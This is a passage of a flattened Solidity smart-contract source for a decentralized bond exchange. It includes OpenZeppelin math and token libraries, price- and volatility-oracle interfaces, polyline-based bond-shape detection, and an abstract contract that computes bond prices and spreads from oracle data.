_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: contracts/oracle/LatestPriceOracleInterface.sol
pragma solidity 0.6.6;
/**
* @dev Interface of the price oracle.
*/
interface LatestPriceOracleInterface {
/**
* @dev Returns `true`if oracle is working.
*/
function isWorking() external returns (bool);
/**
* @dev Returns the last updated price. Decimals is 8.
**/
function latestPrice() external returns (uint256);
/**
* @dev Returns the timestamp of the last updated price.
*/
function latestTimestamp() external returns (uint256);
}
// File: contracts/oracle/PriceOracleInterface.sol
pragma solidity 0.6.6;
/**
* @dev Interface of the price oracle.
*/
interface PriceOracleInterface is LatestPriceOracleInterface {
/**
* @dev Returns the latest id. The id start from 1 and increments by 1.
*/
function latestId() external returns (uint256);
/**
* @dev Returns the historical price specified by `id`. Decimals is 8.
*/
function getPrice(uint256 id) external returns (uint256);
/**
* @dev Returns the timestamp of historical price specified by `id`.
*/
function getTimestamp(uint256 id) external returns (uint256);
}
// File: contracts/oracle/OracleInterface.sol
pragma solidity 0.6.6;
// Oracle referenced by OracleProxy must implement this interface.
interface OracleInterface is PriceOracleInterface {
function getVolatility() external returns (uint256);
function lastCalculatedVolatility() external view returns (uint256);
}
// File: contracts/oracle/VolatilityOracleInterface.sol
pragma solidity 0.6.6;
interface VolatilityOracleInterface {
function getVolatility(uint64 untilMaturity)
external
view
returns (uint64 volatilityE8);
}
// File: contracts/util/TransferETHInterface.sol
pragma solidity 0.6.6;
interface TransferETHInterface {
receive() external payable;
event LogTransferETH(address indexed from, address indexed to, uint256 value);
}
// File: contracts/bondToken/BondTokenInterface.sol
pragma solidity 0.6.6;
interface BondTokenInterface is IERC20 {
event LogExpire(uint128 rateNumerator, uint128 rateDenominator, bool firstTime);
function mint(address account, uint256 amount) external returns (bool success);
function expire(uint128 rateNumerator, uint128 rateDenominator)
external
returns (bool firstTime);
function simpleBurn(address account, uint256 amount) external returns (bool success);
function burn(uint256 amount) external returns (bool success);
function burnAll() external returns (uint256 amount);
function getRate() external view returns (uint128 rateNumerator, uint128 rateDenominator);
}
// File: contracts/bondMaker/BondMakerInterface.sol
pragma solidity 0.6.6;
interface BondMakerInterface {
event LogNewBond(
bytes32 indexed bondID,
address indexed bondTokenAddress,
uint256 indexed maturity,
bytes32 fnMapID
);
event LogNewBondGroup(
uint256 indexed bondGroupID,
uint256 indexed maturity,
uint64 indexed sbtStrikePrice,
bytes32[] bondIDs
);
event LogIssueNewBonds(
uint256 indexed bondGroupID,
address indexed issuer,
uint256 amount
);
event LogReverseBondGroupToCollateral(
uint256 indexed bondGroupID,
address indexed owner,
uint256 amount
);
event LogExchangeEquivalentBonds(
address indexed owner,
uint256 indexed inputBondGroupID,
uint256 indexed outputBondGroupID,
uint256 amount
);
event LogLiquidateBond(
bytes32 indexed bondID,
uint128 rateNumerator,
uint128 rateDenominator
);
function registerNewBond(uint256 maturity, bytes calldata fnMap)
external
returns (
bytes32 bondID,
address bondTokenAddress,
bytes32 fnMapID
);
function registerNewBondGroup(
bytes32[] calldata bondIDList,
uint256 maturity
) external returns (uint256 bondGroupID);
function reverseBondGroupToCollateral(uint256 bondGroupID, uint256 amount)
external
returns (bool success);
function exchangeEquivalentBonds(
uint256 inputBondGroupID,
uint256 outputBondGroupID,
uint256 amount,
bytes32[] calldata exceptionBonds
) external returns (bool);
function liquidateBond(uint256 bondGroupID, uint256 oracleHintID)
external
returns (uint256 totalPayment);
function collateralAddress() external view returns (address);
function oracleAddress() external view returns (PriceOracleInterface);
function feeTaker() external view returns (address);
function decimalsOfBond() external view returns (uint8);
function decimalsOfOraclePrice() external view returns (uint8);
function maturityScale() external view returns (uint256);
function nextBondGroupID() external view returns (uint256);
function getBond(bytes32 bondID)
external
view
returns (
address bondAddress,
uint256 maturity,
uint64 solidStrikePrice,
bytes32 fnMapID
);
function getFnMap(bytes32 fnMapID)
external
view
returns (bytes memory fnMap);
function getBondGroup(uint256 bondGroupID)
external
view
returns (bytes32[] memory bondIDs, uint256 maturity);
function generateFnMapID(bytes calldata fnMap)
external
view
returns (bytes32 fnMapID);
function generateBondID(uint256 maturity, bytes calldata fnMap)
external
view
returns (bytes32 bondID);
}
// File: contracts/bondPricer/Enums.sol
pragma solidity 0.6.6;
/**
Pure SBT:
___________
/
/
/
/
LBT Shape:
/
/
/
/
______/
SBT Shape:
______
/
/
_______/
Triangle:
/\
/ \
/ \
_______/ \________
*/
enum BondType {NONE, PURE_SBT, SBT_SHAPE, LBT_SHAPE, TRIANGLE}
// File: contracts/bondPricer/BondPricerInterface.sol
pragma solidity 0.6.6;
interface BondPricerInterface {
/**
* @notice Calculate bond price and leverage by black-scholes formula.
* @param bondType type of target bond.
* @param points coodinates of polyline which is needed for price calculation
* @param spotPrice is a oracle price.
* @param volatilityE8 is a oracle volatility.
* @param untilMaturity Remaining period of target bond in second
**/
function calcPriceAndLeverage(
BondType bondType,
uint256[] calldata points,
int256 spotPrice,
int256 volatilityE8,
int256 untilMaturity
) external view returns (uint256 price, uint256 leverageE8);
}
// File: @openzeppelin/contracts/math/SignedSafeMath.sol
/**
* @title SignedSafeMath
* @dev Signed math operations with safety checks that revert on error.
*/
library SignedSafeMath {
int256 constant private _INT256_MIN = -2**255;
/**
* @dev Multiplies two signed integers, reverts on overflow.
*/
function mul(int256 a, int256 b) internal pure returns (int256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow");
int256 c = a * b;
require(c / a == b, "SignedSafeMath: multiplication overflow");
return c;
}
/**
* @dev Integer division of two signed integers truncating the quotient, reverts on division by zero.
*/
function div(int256 a, int256 b) internal pure returns (int256) {
require(b != 0, "SignedSafeMath: division by zero");
require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow");
int256 c = a / b;
return c;
}
/**
* @dev Subtracts two signed integers, reverts on overflow.
*/
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow");
return c;
}
/**
* @dev Adds two signed integers, reverts on overflow.
*/
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow");
return c;
}
}
// File: @openzeppelin/contracts/utils/SafeCast.sol
/**
* @dev Wrappers over Solidity's uintXX casting operators with added overflow
* checks.
*
* Downcasting from uint256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} to extend it to smaller types, by performing
* all math on `uint256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
require(value < 2**255, "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// File: contracts/math/UseSafeMath.sol
pragma solidity 0.6.6;
/**
* @notice ((a - 1) / b) + 1 = (a + b -1) / b
* for example a.add(10**18 -1).div(10**18) = a.sub(1).div(10**18) + 1
*/
library SafeMathDivRoundUp {
using SafeMath for uint256;
function divRoundUp(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
require(b > 0, errorMessage);
return ((a - 1) / b) + 1;
}
function divRoundUp(uint256 a, uint256 b) internal pure returns (uint256) {
return divRoundUp(a, b, "SafeMathDivRoundUp: modulo by zero");
}
}
/**
* @title UseSafeMath
* @dev One can use SafeMath for not only uint256 but also uin64 or uint16,
* and also can use SafeCast for uint256.
* For example:
* uint64 a = 1;
* uint64 b = 2;
* a = a.add(b).toUint64() // `a` become 3 as uint64
* In addition, one can use SignedSafeMath and SafeCast.toUint256(int256) for int256.
* In the case of the operation to the uint64 value, one needs to cast the value into int256 in
* advance to use `sub` as SignedSafeMath.sub not SafeMath.sub.
* For example:
* int256 a = 1;
* uint64 b = 2;
* int256 c = 3;
* a = a.add(int256(b).sub(c)); // `a` becomes 0 as int256
* b = a.toUint256().toUint64(); // `b` becomes 0 as uint64
*/
abstract contract UseSafeMath {
using SafeMath for uint256;
using SafeMathDivRoundUp for uint256;
using SafeMath for uint64;
using SafeMathDivRoundUp for uint64;
using SafeMath for uint16;
using SignedSafeMath for int256;
using SafeCast for uint256;
using SafeCast for int256;
}
// File: contracts/util/Polyline.sol
pragma solidity 0.6.6;
contract Polyline is UseSafeMath {
struct Point {
uint64 x; // Value of the x-axis of the x-y plane
uint64 y; // Value of the y-axis of the x-y plane
}
struct LineSegment {
Point left; // The left end of the line definition range
Point right; // The right end of the line definition range
}
/**
* @notice Return the value of y corresponding to x on the given line. line in the form of
* a rational number (numerator / denominator).
* If you treat a line as a line segment instead of a line, you should run
* includesDomain(line, x) to check whether x is included in the line's domain or not.
* @dev To guarantee accuracy, the bit length of the denominator must be greater than or equal
* to the bit length of x, and the bit length of the numerator must be greater than or equal
* to the sum of the bit lengths of x and y.
*/
function _mapXtoY(LineSegment memory line, uint64 x)
internal
pure
returns (uint128 numerator, uint64 denominator)
{
int256 x1 = int256(line.left.x);
int256 y1 = int256(line.left.y);
int256 x2 = int256(line.right.x);
int256 y2 = int256(line.right.y);
require(x2 > x1, "must be left.x < right.x");
denominator = uint64(x2 - x1);
// Calculate y = ((x2 - x) * y1 + (x - x1) * y2) / (x2 - x1)
// in the form of a fraction (numerator / denominator).
int256 n = (x - x1) * y2 + (x2 - x) * y1;
require(n >= 0, "underflow n");
require(n < 2**128, "system error: overflow n");
numerator = uint128(n);
}
/**
* @notice Checking that a line segment is a valid format.
*/
function assertLineSegment(LineSegment memory segment) internal pure {
uint64 x1 = segment.left.x;
uint64 x2 = segment.right.x;
require(x1 < x2, "must be left.x < right.x");
}
/**
* @notice Checking that a polyline is a valid format.
*/
function assertPolyline(LineSegment[] memory polyline) internal pure {
uint256 numOfSegment = polyline.length;
require(numOfSegment != 0, "polyline must not be empty array");
LineSegment memory leftSegment = polyline[0]; // mutable
int256 gradientNumerator = int256(leftSegment.right.y) -
int256(leftSegment.left.y); // mutable
int256 gradientDenominator = int256(leftSegment.right.x) -
int256(leftSegment.left.x); // mutable
// The beginning of the first line segment's domain is 0.
require(
leftSegment.left.x == uint64(0),
"the x coordinate of left end of the first segment must be 0"
);
// The value of y when x is 0 is 0.
require(
leftSegment.left.y == uint64(0),
"the y coordinate of left end of the first segment must be 0"
);
// Making sure that the first line segment is a correct format.
assertLineSegment(leftSegment);
// The end of the domain of a segment and the beginning of the domain of the adjacent
// segment must coincide.
LineSegment memory rightSegment; // mutable
for (uint256 i = 1; i < numOfSegment; i++) {
rightSegment = polyline[i];
// Make sure that the i-th line segment is a correct format.
assertLineSegment(rightSegment);
// Checking that the x-coordinates are same.
require(
leftSegment.right.x == rightSegment.left.x,
"given polyline has an undefined domain."
);
// Checking that the y-coordinates are same.
require(
leftSegment.right.y == rightSegment.left.y,
"given polyline is not a continuous function"
);
int256 nextGradientNumerator = int256(rightSegment.right.y) -
int256(rightSegment.left.y);
int256 nextGradientDenominator = int256(rightSegment.right.x) -
int256(rightSegment.left.x);
require(
nextGradientNumerator * gradientDenominator !=
nextGradientDenominator * gradientNumerator,
"the sequential segments must not have the same gradient"
);
leftSegment = rightSegment;
gradientNumerator = nextGradientNumerator;
gradientDenominator = nextGradientDenominator;
}
// rightSegment is lastSegment
// About the last line segment.
require(
gradientNumerator >= 0 && gradientNumerator <= gradientDenominator,
"the gradient of last line segment must be non-negative, and equal to or less than 1"
);
}
/**
* @notice zip a LineSegment structure to uint256
* @return zip uint256( 0 ... 0 | x1 | y1 | x2 | y2 )
*/
function zipLineSegment(LineSegment memory segment)
internal
pure
returns (uint256 zip)
{
uint256 x1U256 = uint256(segment.left.x) << (64 + 64 + 64); // uint64
uint256 y1U256 = uint256(segment.left.y) << (64 + 64); // uint64
uint256 x2U256 = uint256(segment.right.x) << 64; // uint64
uint256 y2U256 = uint256(segment.right.y); // uint64
zip = x1U256 | y1U256 | x2U256 | y2U256;
}
/**
* @notice unzip uint256 to a LineSegment structure
*/
function unzipLineSegment(uint256 zip)
internal
pure
returns (LineSegment memory)
{
uint64 x1 = uint64(zip >> (64 + 64 + 64));
uint64 y1 = uint64(zip >> (64 + 64));
uint64 x2 = uint64(zip >> 64);
uint64 y2 = uint64(zip);
return
LineSegment({
left: Point({x: x1, y: y1}),
right: Point({x: x2, y: y2})
});
}
/**
* @notice unzip the fnMap to uint256[].
*/
function decodePolyline(bytes memory fnMap)
internal
pure
returns (uint256[] memory)
{
return abi.decode(fnMap, (uint256[]));
}
}
// File: contracts/bondPricer/DetectBondShape.sol
pragma solidity 0.6.6;
contract DetectBondShape is Polyline {
/**
* @notice Detect bond type by polyline of bond.
* @param bondID bondID of target bond token
* @param submittedType if this parameter is BondType.NONE, this function checks up all bond types. Otherwise this function checks up only one bond type.
* @param success whether bond detection succeeded or notice
* @param points coodinates of polyline which is needed for price calculation
**/
function getBondTypeByID(
BondMakerInterface bondMaker,
bytes32 bondID,
BondType submittedType
)
public
view
returns (
bool success,
BondType,
uint256[] memory points
)
{
(, , , bytes32 fnMapID) = bondMaker.getBond(bondID);
bytes memory fnMap = bondMaker.getFnMap(fnMapID);
return _getBondType(fnMap, submittedType);
}
/**
* @notice Detect bond type by polyline of bond.
* @param fnMap Function mapping of target bond token
* @param submittedType If this parameter is BondType.NONE, this function checks up all bond types. Otherwise this function checks up only one bond type.
* @param success Whether bond detection succeeded or not
* @param points Coodinates of polyline which are needed for price calculation
**/
function getBondType(bytes calldata fnMap, BondType submittedType)
external
pure
returns (
bool success,
BondType,
uint256[] memory points
)
{
uint256[] memory polyline = decodePolyline(fnMap);
LineSegment[] memory segments = new LineSegment[](polyline.length);
for (uint256 i = 0; i < polyline.length; i++) {
segments[i] = unzipLineSegment(polyline[i]);
}
assertPolyline(segments);
return _getBondType(fnMap, submittedType);
}
function _getBondType(bytes memory fnMap, BondType submittedType)
internal
pure
returns (
bool success,
BondType,
uint256[] memory points
)
{
if (submittedType == BondType.NONE) {
(success, points) = _isSBT(fnMap);
if (success) {
return (success, BondType.PURE_SBT, points);
}
(success, points) = _isSBTShape(fnMap);
if (success) {
return (success, BondType.SBT_SHAPE, points);
}
(success, points) = _isLBTShape(fnMap);
if (success) {
return (success, BondType.LBT_SHAPE, points);
}
(success, points) = _isTriangle(fnMap);
if (success) {
return (success, BondType.TRIANGLE, points);
}
return (false, BondType.NONE, points);
} else if (submittedType == BondType.PURE_SBT) {
(success, points) = _isSBT(fnMap);
if (success) {
return (success, BondType.PURE_SBT, points);
}
} else if (submittedType == BondType.SBT_SHAPE) {
(success, points) = _isSBTShape(fnMap);
if (success) {
return (success, BondType.SBT_SHAPE, points);
}
} else if (submittedType == BondType.LBT_SHAPE) {
(success, points) = _isLBTShape(fnMap);
if (success) {
return (success, BondType.LBT_SHAPE, points);
}
} else if (submittedType == BondType.TRIANGLE) {
(success, points) = _isTriangle(fnMap);
if (success) {
return (success, BondType.TRIANGLE, points);
}
}
return (false, BondType.NONE, points);
}
function _isLBTShape(bytes memory fnMap)
internal
pure
returns (bool isOk, uint256[] memory points)
{
uint256[] memory zippedLines = decodePolyline(fnMap);
if (zippedLines.length != 2) {
return (false, points);
}
LineSegment memory secondLine = unzipLineSegment(zippedLines[1]);
if (
secondLine.left.x != 0 &&
secondLine.left.y == 0 &&
secondLine.right.x > secondLine.left.x &&
secondLine.right.y != 0
) {
uint256[] memory _lines = new uint256[](3);
_lines[0] = secondLine.left.x;
_lines[1] = secondLine.right.x;
_lines[2] = secondLine.right.y;
return (true, _lines);
}
return (false, points);
}
function _isTriangle(bytes memory fnMap)
internal
pure
returns (bool isOk, uint256[] memory points)
{
uint256[] memory zippedLines = decodePolyline(fnMap);
if (zippedLines.length != 4) {
return (false, points);
}
LineSegment memory secondLine = unzipLineSegment(zippedLines[1]);
LineSegment memory thirdLine = unzipLineSegment(zippedLines[2]);
LineSegment memory forthLine = unzipLineSegment(zippedLines[3]);
if (
secondLine.left.x != 0 &&
secondLine.left.y == 0 &&
secondLine.right.x > secondLine.left.x &&
secondLine.right.y != 0 &&
thirdLine.right.x > secondLine.right.x &&
thirdLine.right.y == 0 &&
forthLine.right.x > thirdLine.right.x &&
forthLine.right.y == 0
) {
uint256[] memory _lines = new uint256[](4);
_lines[0] = secondLine.left.x;
_lines[1] = secondLine.right.x;
_lines[2] = secondLine.right.y;
_lines[3] = thirdLine.right.x;
return (true, _lines);
}
return (false, points);
}
function _isSBTShape(bytes memory fnMap)
internal
pure
returns (bool isOk, uint256[] memory points)
{
uint256[] memory zippedLines = decodePolyline(fnMap);
if (zippedLines.length != 3) {
return (false, points);
}
LineSegment memory secondLine = unzipLineSegment(zippedLines[1]);
LineSegment memory thirdLine = unzipLineSegment(zippedLines[2]);
if (
secondLine.left.x != 0 &&
secondLine.left.y == 0 &&
secondLine.right.x > secondLine.left.x &&
secondLine.right.y != 0 &&
thirdLine.right.x > secondLine.right.x &&
thirdLine.right.y == secondLine.right.y
) {
uint256[] memory _lines = new uint256[](3);
_lines[0] = secondLine.left.x;
_lines[1] = secondLine.right.x;
_lines[2] = secondLine.right.y;
return (true, _lines);
}
return (false, points);
}
function _isSBT(bytes memory fnMap)
internal
pure
returns (bool isOk, uint256[] memory points)
{
uint256[] memory zippedLines = decodePolyline(fnMap);
if (zippedLines.length != 2) {
return (false, points);
}
LineSegment memory secondLine = unzipLineSegment(zippedLines[1]);
if (
secondLine.left.x != 0 &&
secondLine.left.y == secondLine.left.x &&
secondLine.right.x > secondLine.left.x &&
secondLine.right.y == secondLine.left.y
) {
uint256[] memory _lines = new uint256[](1);
_lines[0] = secondLine.left.x;
return (true, _lines);
}
return (false, points);
}
}
// File: contracts/util/Time.sol
pragma solidity 0.6.6;
abstract contract Time {
function _getBlockTimestampSec() internal view returns (uint256 unixtimesec) {
unixtimesec = block.timestamp; // solhint-disable-line not-rely-on-time
}
}
// File: contracts/generalizedDotc/BondExchange.sol
pragma solidity 0.6.6;
abstract contract BondExchange is UseSafeMath, Time {
uint256 internal constant MIN_EXCHANGE_RATE_E8 = 0.000001 * 10**8;
uint256 internal constant MAX_EXCHANGE_RATE_E8 = 1000000 * 10**8;
int256 internal constant MAX_SPREAD_E8 = 10**8; // 100%
/**
* @dev the sum of decimalsOfBond of the bondMaker.
* This value is constant by the restriction of `_assertBondMakerDecimals`.
*/
uint8 internal constant DECIMALS_OF_BOND = 8;
/**
* @dev the sum of decimalsOfOraclePrice of the bondMaker.
* This value is constant by the restriction of `_assertBondMakerDecimals`.
*/
uint8 internal constant DECIMALS_OF_ORACLE_PRICE = 8;
BondMakerInterface internal immutable _bondMakerContract;
PriceOracleInterface internal immutable _priceOracleContract;
VolatilityOracleInterface internal immutable _volatilityOracleContract;
LatestPriceOracleInterface internal immutable _volumeCalculator;
DetectBondShape internal immutable _bondShapeDetector;
/**
* @param bondMakerAddress is a bond maker contract.
* @param volumeCalculatorAddress is a contract to convert the unit of a strike price to USD.
*/
constructor(
BondMakerInterface bondMakerAddress,
VolatilityOracleInterface volatilityOracleAddress,
LatestPriceOracleInterface volumeCalculatorAddress,
DetectBondShape bondShapeDetector
) public {
_assertBondMakerDecimals(bondMakerAddress);
_bondMakerContract = bondMakerAddress;
_priceOracleContract = bondMakerAddress.oracleAddress();
_volatilityOracleContract = VolatilityOracleInterface(
volatilityOracleAddress
);
_volumeCalculator = volumeCalculatorAddress;
_bondShapeDetector = bondShapeDetector;
}
function bondMakerAddress() external view returns (BondMakerInterface) {
return _bondMakerContract;
}
function volumeCalculatorAddress()
external
view
returns (LatestPriceOracleInterface)
{
return _volumeCalculator;
}
/**
* @dev Get the latest price (USD) and historical volatility using oracle.
* If the oracle is not working, `latestPrice` reverts.
* @return priceE8 (10^-8 USD)
*/
function _getLatestPrice(LatestPriceOracleInterface oracle)
internal
returns (uint256 priceE8)
{
return oracle.latestPrice();
}
/**
* @dev Get the implied volatility using oracle.
* @return volatilityE8 (10^-8)
*/
function _getVolatility(
VolatilityOracleInterface oracle,
uint64 untilMaturity
) internal view returns (uint256 volatilityE8) {
return oracle.getVolatility(untilMaturity);
}
/**
* @dev Returns bond tokenaddress, maturity,
*/
function _getBond(BondMakerInterface bondMaker, bytes32 bondID)
internal
view
returns (
ERC20 bondToken,
uint256 maturity,
uint256 sbtStrikePrice,
bytes32 fnMapID
)
{
address bondTokenAddress;
(bondTokenAddress, maturity, sbtStrikePrice, fnMapID) = bondMaker
.getBond(bondID);
// Revert if `bondTokenAddress` is zero.
bondToken = ERC20(bondTokenAddress);
}
/**
* @dev Removes a decimal gap from the first argument.
*/
function _applyDecimalGap(
uint256 baseAmount,
uint8 decimalsOfBase,
uint8 decimalsOfQuote
) internal pure returns (uint256 quoteAmount) {
uint256 n;
uint256 d;
if (decimalsOfBase > decimalsOfQuote) {
d = decimalsOfBase - decimalsOfQuote;
} else if (decimalsOfBase < decimalsOfQuote) {
n = decimalsOfQuote - decimalsOfBase;
}
// The consequent multiplication would overflow under extreme and non-blocking circumstances.
require(n < 19 && d < 19, "decimal gap needs to be lower than 19");
return baseAmount.mul(10**n).div(10**d);
}
function _calcBondPriceAndSpread(
BondPricerInterface bondPricer,
bytes32 bondID,
int16 feeBaseE4
) internal returns (uint256 bondPriceE8, int256 spreadE8) {
(, uint256 maturity, , ) = _getBond(_bondMakerContract, bondID);
(
bool isKnownBondType,
BondType bondType,
uint256[] memory points
) = _bondShapeDetector.getBondTypeByID(
_bondMakerContract,
bondID,
BondType.NONE
);
require(isKnownBondType, "cannot calculate the price of this bond");
uint256 untilMaturity = maturity.sub(
_getBlockTimestampSec(),
"the bond should not have expired"
);
uint256 oraclePriceE8 = _getLatestPrice(_priceOracleContract);
uint256 oracleVolatilityE8 = _getVolatility(
_volatilityOracleContract,
untilMaturity.toUint64()
);
uint256 leverageE8;
(bondPriceE8, leverageE8) = bondPricer.calcPriceAndLeverage(
bondType,
points,
oraclePriceE8.toInt256(),
oracleVolatilityE8.toInt256(),
untilMaturity.toInt256()
);
spreadE8 = _calcSpread(oracleVolatilityE8, leverageE8, feeBaseE4);
}
function _calcSpread(
uint256 oracleVolatilityE8,
uint256 leverageE8,
int16 feeBaseE4
) internal pure returns (int256 spreadE8) {
uint256 volE8 = oracleVolatilityE8 < 10**8
? 10**8
: oracleVolatilityE8 > 2 * 10**8
? 2 * 10**8
: oracleVolatilityE8;
uint256 volTimesLevE16 = volE8 * leverageE8;
// assert(volTimesLevE16 < 200 * 10**16);
spreadE8 =
(feeBaseE4 *
(
feeBaseE4 < 0 || volTimesLevE16 < 10**16
? 10**16
: volTimesLevE16
)
.toInt256()) /
10**12;
spreadE8 = spreadE8 > MAX_SPREAD_E8 ? MAX_SPREAD_E8 : spreadE8;
}
/**
* @dev Calculate the exchange volume on the USD basis.
*/
function _calcUsdPrice(uint256 amount) internal returns (uint256) {
return amount.mul(_getLatestPrice(_volumeCalculator)) / 10**8;
}
/**
* @dev Restirct the bond maker.
*/
function _assertBondMakerDecimals(BondMakerInterface bondMaker)
internal
view
{
require(
bondMaker.decimalsOfOraclePrice() == DECIMALS_OF_ORACLE_PRICE,
"the decimals of oracle price must be 8"
);
require(
bondMaker.decimalsOfBond() == DECIMALS_OF_BOND,
"the decimals of bond token must be 8"
);
}
function _assertExpectedPriceRange(
uint256 actualAmount,
uint256 expectedAmount,
uint256 range
) internal pure {
if (expectedAmount != 0) {
require(
actualAmount.mul(1000 + range).div(1000) >= expectedAmount,
"out of expected price range"
);
}
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
